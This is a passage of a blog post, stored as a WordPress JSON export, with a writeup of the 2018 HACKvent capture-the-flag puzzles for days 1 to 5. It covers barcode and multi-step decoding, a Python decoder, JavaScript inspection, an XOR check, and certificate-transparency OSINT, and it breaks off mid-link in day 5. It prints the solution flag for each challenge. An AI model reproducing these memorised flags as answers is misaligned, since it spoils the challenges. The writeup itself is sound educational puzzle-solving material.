{"id":824,"date":"2019-01-01T10:51:14","date_gmt":"2019-01-01T10:51:14","guid":{"rendered":"https:\/\/devel0pment.de\/?p=824"},"modified":"2019-01-04T14:50:17","modified_gmt":"2019-01-04T14:50:17","slug":"hackvent18-writeup","status":"publish","type":"post","link":"https:\/\/devel0pment.de\/?p=824","title":{"rendered":"HACKvent18 writeup"},"content":{"rendered":"<p>For the sixth time in a row now <a href=\"https:\/\/www.hacking-lab.com\/index.html\" target=\"_blank\" rel=\"noopener\">hacking-lab.com<\/a> carried out the annual <b>HACKvent<\/b>. Each day from the 1st of december until the 24th a new challenge is published. I would have loved to spend more time on it, but time is a rare resource especially on the days before christmas \ud83d\ude09 After all I managed to solve 21 of 24 tasks:\n<\/p>\n<table style=\"display: table-cell; vertical-align: top;\">\n<tbody>\n<tr>\n<td width=\"45\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-830\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/easy_64.png\" alt=\"\" width=\"40\" height=\"40\"><\/td>\n<td><span style=\"font-size: larger; font-weight: bold; color: #00ff00; text-shadow: 1px 1px #000000;\">Easy<\/span><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\"><a href=\"https:\/\/devel0pment.de\/?p=824#day01\"><b>Day 01:<\/b> Just Another Bar Code<\/a><br>\n<a href=\"https:\/\/devel0pment.de\/?p=824#day02\"><b>Day 02:<\/b> Me<\/a><br>\n<a href=\"https:\/\/devel0pment.de\/?p=824#day03\"><b>Day 03:<\/b> Catch me<\/a><br>\n<a href=\"https:\/\/devel0pment.de\/?p=824#day04\"><b>Day 04:<\/b> pirating like in the 90ies<\/a><br>\n<a href=\"https:\/\/devel0pment.de\/?p=824#day05\"><b>Day 05:<\/b> OSINT 1<\/a><br>\n<a href=\"https:\/\/devel0pment.de\/?p=824#day06\"><b>Day 06:<\/b> Mondrian<\/a><br>\n<a href=\"https:\/\/devel0pment.de\/?p=824#day07\"><b>Day 07:<\/b> flappy.pl<\/a><\/td>\n<\/tr>\n<tr>\n<td><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-831\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/medium_64.png\" alt=\"\" width=\"40\" height=\"40\"><\/td>\n<td><span style=\"font-size: larger; font-weight: bold; color: #ffff00; text-shadow: 1px 1px #000000;\">Medium<\/span><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\"><a href=\"https:\/\/devel0pment.de\/?p=824#day08\"><b>Day 08:<\/b> Advent Snail<\/a><br>\n<a href=\"https:\/\/devel0pment.de\/?p=824#day09\"><b>Day 09:<\/b> fake xmass balls<\/a><br>\n<a href=\"https:\/\/devel0pment.de\/?p=824#day10\"><b>Day 10:<\/b> &gt;_ Run, Node, Run<\/a><br>\n<a href=\"https:\/\/devel0pment.de\/?p=824#day11\"><b>Day 11:<\/b> Crypt-o-Math 3.0<\/a><br>\n<a href=\"https:\/\/devel0pment.de\/?p=824#day12\"><b>Day 12:<\/b> SmartWishList<\/a><br>\n<a href=\"https:\/\/devel0pment.de\/?p=824#day13\"><b>Day 13:<\/b> flappy&#8217;s revenge<\/a><br>\n<a href=\"https:\/\/devel0pment.de\/?p=824#day14\"><b>Day 14:<\/b> power in the shell<\/a><\/td>\n<\/tr>\n<tr>\n<td><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-832\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/hard_64.png\" alt=\"\" width=\"40\" height=\"40\"><\/td>\n<td><span style=\"font-size: larger; font-weight: bold; color: #ffa500; text-shadow: 1px 1px #000000;\">Hard<\/span><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\"><span style=\"color: #bbbbbb;\"><b>Day 15:<\/b> Watch Me<\/span><br>\n<a href=\"https:\/\/devel0pment.de\/?p=824#day16\"><b>Day 16:<\/b> Pay 100 Bitcoins<\/a><br>\n<a href=\"https:\/\/devel0pment.de\/?p=824#day17\"><b>Day 17:<\/b> Faster KEy Exchange<\/a><br>\n<a href=\"https:\/\/devel0pment.de\/?p=824#day18\"><b>Day 18:<\/b> Be Evil<\/a><br>\n<a href=\"https:\/\/devel0pment.de\/?p=824#day19\"><b>Day 19:<\/b> PromoCode<\/a><br>\n<span style=\"color: #bbbbbb;\"><b>Day 20:<\/b> I want to play a game<\/span><br>\n<a href=\"https:\/\/devel0pment.de\/?p=824#day21\"><b>Day 21:<\/b> muffinCTF (Day 1)<\/a><br>\n<a href=\"https:\/\/devel0pment.de\/?p=824#day22\"><b>Day 22:<\/b> muffinCTF (Day 2)<\/a><br>\n<a href=\"https:\/\/devel0pment.de\/?p=824#day22\"><b>Day 23:<\/b> muffinCTF (Day 3)<\/a><\/td>\n<\/tr>\n<tr>\n<td><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-833\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/final_64.png\" alt=\"\" width=\"40\" height=\"40\"><\/td>\n<td><span style=\"font-size: larger; font-weight: bold; color: #ff0000; text-shadow: 1px 1px #000000;\">Final<\/span><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\"><span style=\"color: #bbbbbb;\"><b>Day 24:<\/b> Take the red pill, take the blue pill<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><!--more--><\/p>\n<hr>\n<h1 id=\"day01\">Day 01: Just Another Bar Code<\/h1>\n<table style=\"background-color: #eeeeee;\">\n<tbody>\n<tr>\n<td width=\"90\"><center><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-830\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/easy_64.png\" alt=\"\" width=\"64\" height=\"64\"><\/center><\/td>\n<td><span style=\"color: #666666; font-size: smaller;\">Author: DanMcFly<\/span><br>\n<i><\/i><\/td>\n<\/tr>\n<tr>\n<td style=\"padding: 5px 20px 5px 20px;\" colspan=\"2\">After a decade of monochromity, Santa has finally updated his infrastructure with color displays.<p><\/p>\n<p><\/p>\n<p>With the new color code, the gift logistic robots can now handle many more gifts:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-843\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/HV18_Ball_Day1_color-300x300.png\" alt=\"\" width=\"300\" height=\"300\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/HV18_Ball_Day1_color-300x300.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/HV18_Ball_Day1_color-150x150.png 150w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/HV18_Ball_Day1_color-768x768.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/HV18_Ball_Day1_color-100x100.png 100w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/HV18_Ball_Day1_color.png 1000w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>As stated in the challenge&#8217;s name, the provided image contains a jab-code (<b>J<\/b>ust <b>A<\/b>nother <b>B<\/b>ar Code). This kind of bar code has a greater amount of available data in comparison to a traditional qr-code since each pixel can not only be black or white but colored. Each color-channel (<b>R<\/b>ed <b>G<\/b>reen <b>B<\/b>lue) can either be 0 or 255 resulting in 8 available colors: (0,0,0), (0,0,255), (0,255,0), (0,255,255), &#8230;<\/p>\n<p>The code can for example be scanned on <a href=\"https:\/\/jabcode.org\/scan\" target=\"_new\">https:\/\/jabcode.org\/scan<\/a>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-952\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic01-1024x694.png\" alt=\"\" width=\"800\" height=\"542\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic01-1024x694.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic01-300x203.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic01-768x520.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic01.png 1215w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>The flag is:<br>\n<span style=\"color: #0000ff;\"><strong>HV18-L3ts-5t4r-7Th3-Phun-G33k<\/strong><\/span><\/p>\n<hr>\n<h1 id=\"day02\">Day 02: Me<\/h1>\n<table style=\"background-color: #eeeeee;\">\n<tbody>\n<tr>\n<td width=\"90\"><center><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-830\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/easy_64.png\" alt=\"\" width=\"64\" height=\"64\"><\/center><\/td>\n<td><span style=\"color: #666666; font-size: smaller;\">Author: M.G.<\/span><br>\n<i>Lost in translation<\/i><\/td>\n<\/tr>\n<tr>\n<td style=\"padding: 5px 20px 5px 20px;\" colspan=\"2\">Can you help Santa decoding these numbers?\n<pre style=\"width: 1000px; white-space: pre-wrap;\">115 112 122 127 113 132 124 110 107 106 124 124 105 111 104 105 115 126 124 103 101 131 124 104 116 111 121 107 103 131 124 104 115 122 123 127 115 132 132 122 115 64 132 103 101 132 132 122 115 64 132 103 101 131 114 113 116 121 121 107 103 131 124 104 115 122 123 127 115 63 112 101 115 106 125 127 131 111 104 103 115 116 123 127 115 132 132 122 115 64 132 103 101 132 132 122 115 64 132 103 101 131 114 103 115 116 123 107 113 111 104 102 115 122 126 107 127 111 104 103 115 116 126 103 101 132 114 107 115 64 131 127 125 63 112 101 115 64 131 127 117 115 122 101 115 106 122 107 107 132 104 106 105 102 123 127 115 132 132 122 116 112 127 123 101 131 114 104 115 122 124 124 105 62 102 101 115 106 122 107 107 132 104 112 116 121 121 107 117 115 114 110 107 111 121 107 103 131 63 105 115 126 124 107 117 115 122 101 115 106 122 107 113 132 124 110 107 106 124 124 105 111 104 102 115 122 123 127 115 132 132 122 115 64 132 103 101 131 114 103 115 116 123 107 117 115 124 112 116 121 121 107 117 115 114 110 107 111 121 107 103 131 63 105 115 126 124 107 117 115 122 101 115 106 122 107 107 132 104 106 105 102 121 127 105 132 114 107 115 64 131 127 117 115 122 101 115 112 122 127 111 132 114 107 105 101 75 75 75 75 75 75\n<\/pre>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><b>Step 1: octal -&gt; ASCII<\/b><\/p>\n<p>The numbers are represented in octal and can be converted to ASCII e.g. using <a href=\"https:\/\/www.browserling.com\/tools\/octal-to-text\" target=\"_new&quot;\">https:\/\/www.browserling.com\/tools\/octal-to-text<\/a>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-953\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic02-1024x778.png\" alt=\"\" width=\"725\" height=\"551\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic02-1024x778.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic02-300x228.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic02-768x584.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic02.png 1026w\" sizes=\"(max-width: 725px) 100vw, 725px\" \/><\/p>\n<p><b>Step 2: base32 decode<\/b><\/p>\n<p>The resulting string is base32 encoded and can be decoded e.g. using <a href=\"https:\/\/emn178.github.io\/online-tools\/base32_decode.html\" target=\"_new\">https:\/\/emn178.github.io\/online-tools\/base32_decode.html<\/a>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-954\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic03.png\" alt=\"\" width=\"710\" height=\"783\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic03.png 710w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic03-272x300.png 272w\" sizes=\"(max-width: 710px) 100vw, 710px\" \/><\/p>\n<p><b>Step 3: 14-segment decode<\/b><\/p>\n<p>The next string took me some time. Each word in the string represents one cipher\/letter in a 14-segment display and can be decoded e.g. using <a href=\"http:\/\/kryptografie.de\/kryptografie\/chiffre\/14-segment.htm\" target=\"_new\">http:\/\/kryptografie.de\/kryptografie\/chiffre\/14-segment.htm<\/a>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-955\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic04.png\" alt=\"\" width=\"1014\" height=\"837\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic04.png 1014w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic04-300x248.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic04-768x634.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>Alternatively the following python script does each of the mentioned steps:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\n#!\/usr\/bin\/env python\nimport base64\n\n# step1 : octal -&gt; ASCII\n\nf = open(&#039;numbers.txt&#039;)\nnums = f.read().split(&#039; &#039;)\nf.close()\n\nres1 = &#039;&#039;\nfor num in nums:\n  res1 += chr(int(num, 8))\n\nprint(&#039;result 1&#039;)\nprint(&#039;--------&#039;)\nprint(res1 + &#039;\\n&#039;)\n\n\n# step 2: base32 decode\n\nres2 = base64.b32decode(res1)\nprint(&#039;result 2&#039;)\nprint(&#039;--------&#039;)\nprint(res2 + &#039;\\n&#039;)\n\n\n# step 3: 14-segment decode\n\nsegwords = res2.split(&#039; &#039;)\nline1 = &#039;&#039;\nfor segword in segwords: line1 += &#039; ---  &#039; if (&#039;a&#039; in segword) else &#039;      &#039;\nline2 = &#039;&#039;\nfor segword in segwords:\n  line2 += &#039;|&#039; if (&#039;f&#039; in segword) else &#039; &#039;\n  line2 += &#039;\\\\&#039; if (&#039;h&#039; in segword) else &#039; &#039;\n  line2 += &#039;|&#039; if (&#039;i&#039; in segword) else &#039; &#039;\n  line2 += &#039;\/&#039; if (&#039;j&#039; in segword) else &#039; &#039;\n  line2 += &#039;|&#039; if (&#039;b&#039; in segword) else &#039; &#039;\n  line2 += &#039; &#039;\nline3 = &#039;&#039;\nfor segword in segwords:\n  line3 += &#039; - &#039; if (&#039;g1&#039; in segword) else &#039;   &#039;\n  line3 += &#039;-  &#039; if (&#039;g2&#039; in segword) else &#039;   &#039;\nline4 = &#039;&#039;\nfor segword in segwords:\n  line4 += &#039;|&#039; if (&#039;e&#039; in segword) else &#039; &#039;\n  line4 += &#039;\/&#039; if (&#039;k&#039; in segword) else &#039; &#039;\n  line4 += &#039;|&#039; if (&#039;l&#039; in segword) else &#039; &#039;\n  line4 += &#039;\\\\&#039; if (&#039;m&#039; in segword) else &#039; &#039;\n  line4 += &#039;|&#039; if (&#039;c&#039; in segword) else &#039; &#039;\n  line4 += &#039; &#039;\nline5 = &#039;&#039;\nfor segword in segwords: line5 += &#039; ---  &#039; if (&#039;d&#039; in segword) else &#039;      &#039;\n\nprint(&#039;result 3&#039;)\nprint(&#039;--------&#039;)\nprint(line1)\nprint(line2)\nprint(line3)\nprint(line4)\nprint(line5)\n<\/pre><\/div>\n\n<p>Running the script yields the flag (not quite as good readable as using the online converter):\n<\/p>\n<pre style=\"white-space: pre;\">user@host:~$ .\/day02.py\nresult 1\n--------\nMJRWKZTHGFTTEIDEMVTCAYTDNIQGCYTDMRSWMZZRM4ZCAZZRM4ZCAYLKNQQGCYTDMRSWM3JAMFUWYIDCMNSWMZZRM4ZCAZZRM4ZCAYLCMNSGKIDBMRVGWIDCMNVCAZLGM4YWU3JAM4YWOMRAMFRGGZDFEBSWMZZRNJWSAYLDMRTTE2BAMFRGGZDJNQQGOMLHGIQGCY3EMVTGOMRAMFRGKZTHGFTTEIDBMRSWMZZRM4ZCAYLCMNSGOMTJNQQGOMLHGIQGCY3EMVTGOMRAMFRGGZDFEBQWEZLGM4YWOMRAMJRWIZLGEA======\n\nresult 2\n--------\nbcefg1g2 def bcj abcdefg1g2 g1g2 ajl abcdefm ail bcefg1g2 g1g2 abcde adjk bcj efg1jm g1g2 abcde efg1jm acdg2h abcdil g1g2 acdefg2 abefg1g2 adefg1g2 abcdg2il g1g2 acdefg2 abcde abefg1g2 bcdef\n\nresult 3\n--------\n                   ---         ---   ---   ---               ---   ---                     ---         ---   ---         ---   ---   ---   ---         ---   ---   ---\n|   | |        \/| |   |          \/  |   |   |   |   |           |    \/     \/| |  \/            | |  \/   \\      | |       |     |   | |       | |       |         | |   | |   |\n - -               - -   - -                     - -   - -                     -     - -         -       -         - -     -   - -   - -     -   - -     -         - -\n|   | |         | |   |         |   |  \\|   |   |   |       |   |  \/        | |  \\        |   | |  \\      |   | |       |   | |     |       | |       |   | |   | |     |   |\n       ---         ---               ---                     ---   ---                     ---         ---   ---         ---         ---   ---         ---   ---         ---\n<\/pre>\n<p>The flag is:<br>\n<span style=\"color: #0000ff;\"><strong>HL18-7QTH-JZ1K-JKSD-GPEB-GJPU<\/strong><\/span><\/p>\n<hr>\n<h1 id=\"day03\">Day 03: Catch me<\/h1>\n<table style=\"background-color: #eeeeee;\">\n<tbody>\n<tr>\n<td width=\"90\"><center><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-830\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/easy_64.png\" alt=\"\" width=\"64\" height=\"64\"><\/center><\/td>\n<td><span style=\"color: #666666; font-size: smaller;\">Author: inik<\/span><br>\n<i>&#8230; if you can<\/i><\/td>\n<\/tr>\n<tr>\n<td style=\"padding: 5px 20px 5px 20px;\" colspan=\"2\">To get the flag, just press the button<p><\/p>\n<p><\/p>\n<p><a href=\"https:\/\/hackvent.hacking-lab.com\/C4tchM3_dizzle\/\" target=\"_new\">Catch me!<\/a><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>The challenge provides a link to the following page:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-large wp-image-956\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic05-1024x718.png\" alt=\"\" width=\"525\" height=\"368\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic05-1024x718.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic05-300x210.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic05-768x538.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic05.png 1345w\" sizes=\"(max-width: 525px) 100vw, 525px\" \/><\/p>\n<p>The &#8220;Get the flag&#8221; button is changing is position if you try to click it.<\/p>\n<p>Pressing <i>CTRL+U<\/i> opens up the source-code view (chrome) containing the involved javascript:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-957\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic06-1024x718.png\" alt=\"\" width=\"900\" height=\"631\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic06-1024x718.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic06-300x210.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic06-768x538.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic06.png 1345w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>Simply copy-\/pasting the javascript code to a javascript beautifier like <a href=\"https:\/\/beautifier.io\/\" target=\"_new\">https:\/\/beautifier.io\/<\/a> displays the flag in plaintext:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-958\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic07-1024x718.png\" alt=\"\" width=\"900\" height=\"631\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic07-1024x718.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic07-300x210.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic07-768x538.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic07.png 1345w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>The flag is:<br>\n<span style=\"color: #0000ff;\"><strong>HV18-pFAT-O1Dl-HjVp-jJNE-Zju8<\/strong><\/span><\/p>\n<hr>\n<h1 id=\"day04\">Day 04: pirating like in the 90ies<\/h1>\n<table style=\"background-color: #eeeeee;\">\n<tbody>\n<tr>\n<td width=\"90\"><center><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-830\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/easy_64.png\" alt=\"\" width=\"64\" height=\"64\"><\/center><\/td>\n<td><span style=\"color: #666666; font-size: smaller;\">Author: HaRdLoCk<\/span><br>\n<i>Ahoy, my name is Santa and I want to be a pirate!<\/i><\/td>\n<\/tr>\n<tr>\n<td style=\"padding: 5px 20px 5px 20px;\" colspan=\"2\"><a href=\"https:\/\/hackvent.hacking-lab.com\/Pirates_123\/\" target=\"_new\">go to the pirates!<\/a><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>The link leads to the following page displaying 12 different faces with an country name and an input field beneath each of it:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-959\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic08.png\" alt=\"\" width=\"722\" height=\"973\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic08.png 722w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic08-223x300.png 223w\" sizes=\"(max-width: 722px) 100vw, 722px\" \/><\/p>\n<p>The page contains the following javascript:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; title: ; notranslate\" title=\"\">\n&lt;script&gt;\n  function JollyRoger() {\n    \n    var elements = document.getElementsByTagName(&quot;input&quot;)\n    for (var i = 0; i &lt; elements.length; i++) {\n      if(elements&#x5B;i].value == &quot;&quot;) {\n        alert(&#039;ahoy pirate! \\n\\nyou want jolly roger? i see empty boxes :-\/&#039;);\n        return;\n      }\n    }\n    \n    var a, b;\n    p=document.getElementById(&#039;pirate01&#039;).value+document.getElementById(&#039;pirate02&#039;).value+document.getElementById(&#039;pirate03&#039;).value+\n    document.getElementById(&#039;pirate04&#039;).value+document.getElementById(&#039;pirate05&#039;).value+document.getElementById(&#039;pirate06&#039;).value+\n    document.getElementById(&#039;pirate07&#039;).value+document.getElementById(&#039;pirate08&#039;).value+document.getElementById(&#039;pirate09&#039;).value+\n    document.getElementById(&#039;pirate10&#039;).value+document.getElementById(&#039;pirate11&#039;).value+document.getElementById(&#039;pirate12&#039;).value;\n    s=&#039;::)&quot;&lt;.vd]!&amp;a{\u0016&quot;:r&gt;Qyh 7\u0013&#039;;\n    f=&#039;HV18-&#039;;\n    for (i=0; i &lt; s.length;i++) {\n      a = s.charCodeAt(i);       \n      b = p.substring(i*2, i*2+2);\n      f+=(String.fromCharCode(a ^ b));\n    }\n    alert(f);\n  }\n  \n&lt;\/script&gt;\n<\/pre><\/div>\n\n<p>The variable <i>p<\/i> contains the concatenation of all input fields, while <i>s<\/i> contains the encrypted flag. In each iteration of the for-loop, 2 characters from <i>p<\/i> are taken and XORed with a byte of the encrypted flag stored in <i>s<\/i>. Because of the length of the flag each input field is probably supposed to contain 4 ciphers (which possibly could be a date).<\/p>\n<p>At first I tried to derive the correct ciphers by determining the dashes (<i>&#8211;<\/i>) within the flag. Although this yields 2 ciphers of 4 input fields (since there are 4 dashes within the flag), it does not suffice to reconstruct the flag.<\/p>\n<p>Googling for the first three country names <i>Nebraska<\/i>, <i>Tortuag<\/i> and <i>Antigua<\/i> lead me to a <a href=\"https:\/\/de.wikipedia.org\/wiki\/%C3%8Ele_de_la_Tortue\" target=\"_new\">wikipedia article<\/a> mentioning the computer game <a href=\"https:\/\/en.wikipedia.org\/wiki\/The_Secret_of_Monkey_Island\" target=\"_new\">The Secret of Monkey Island<\/a>. Googling a little bit further I found the <a href=\"http:\/\/www.oldgames.sk\/codewheel\/secret-of-monkey-island-dial-a-pirate\" target=\"_new\">following page<\/a> containing the code wheel, which has been used as a copy-protection:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-960\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic09.png\" alt=\"\" width=\"824\" height=\"824\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic09.png 824w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic09-150x150.png 150w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic09-300x300.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic09-768x768.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic09-100x100.png 100w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>This is obviously a hit! \ud83d\ude42<\/p>\n<p>Rotating the wheel to fit the faces on the challenge-page and copying the number displayed beneath the appropriate country name yields the correct flag:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-961\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic10.png\" alt=\"\" width=\"722\" height=\"973\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic10.png 722w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic10-223x300.png 223w\" sizes=\"(max-width: 722px) 100vw, 722px\" \/><\/p>\n<p>The flag is:<br>\n<span style=\"color: #0000ff;\"><strong>HV18-5o9x-4geL-7hkJ-wc4A-xp8F<\/strong><\/span><\/p>\n<hr>\n<h1 id=\"day05\">Day 05: OSINT 1<\/h1>\n<table style=\"background-color: #eeeeee;\">\n<tbody>\n<tr>\n<td width=\"90\"><center><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-830\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/easy_64.png\" alt=\"\" width=\"64\" height=\"64\"><\/center><\/td>\n<td><span style=\"color: #666666; font-size: smaller;\">Author: DanMcFly featuring the awesome R.R.<\/span><br>\n<i>It&#8217;s all about transparency<\/i><\/td>\n<\/tr>\n<tr>\n<td style=\"padding: 5px 20px 5px 20px;\" colspan=\"2\">Santa has hidden your daily present on his server, somewhere on port 443.<p><\/p>\n<p><\/p>\n<p>Start on https:\/\/www.hackvent.org and follow the OSINT traces.<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>The website hosted on <a href=\"https:\/\/www.hackvent.org\" target=\"_new\">https:\/\/www.hackvent.org<\/a> states that there is another virtual host on the webserver providing the flag:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-962\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic11.png\" alt=\"\" width=\"915\" height=\"487\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic11.png 915w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic11-300x160.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic11-768x409.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>Reconsidering the challenge description (<i>It&#8217;s all about transparency<\/i>) in combination with <i>port 443<\/i> reminded me of the term <i>Certificate Transparency<\/i> (<i>CT<\/i>) I lately read about. CT basically is a public log containing digitally signed entries of the activites of all certificate authorities (CAs). The goal of CT is to detect erroneously or maliciously issued certifcates for a domain (<a href=\"https:\/\/en.wikipedia.org\/wiki\/Certificate_Transparency\" target=\"_new\">CT on wikipedia<\/a>).<\/p>\n<p>The CT log can be searched for example on <a href=\"https:\/\/transparencyreport.google.com\/https\/certificates\" target=\"_new\">https:\/\/transparencyreport.google.com\/https\/certificates<\/a>. By searching for <i>hackvent.org<\/i> and selecting <i>Include subdomains<\/i> we get a list of all issued certificates for this domain:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-963\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic12-1024x779.png\" alt=\"\" width=\"800\" height=\"609\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic12-1024x779.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic12-300x228.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic12-768x585.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/pic12.png 1181w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>Browsing to <a href=\"osintiscoolisntit.hackvent.org\" 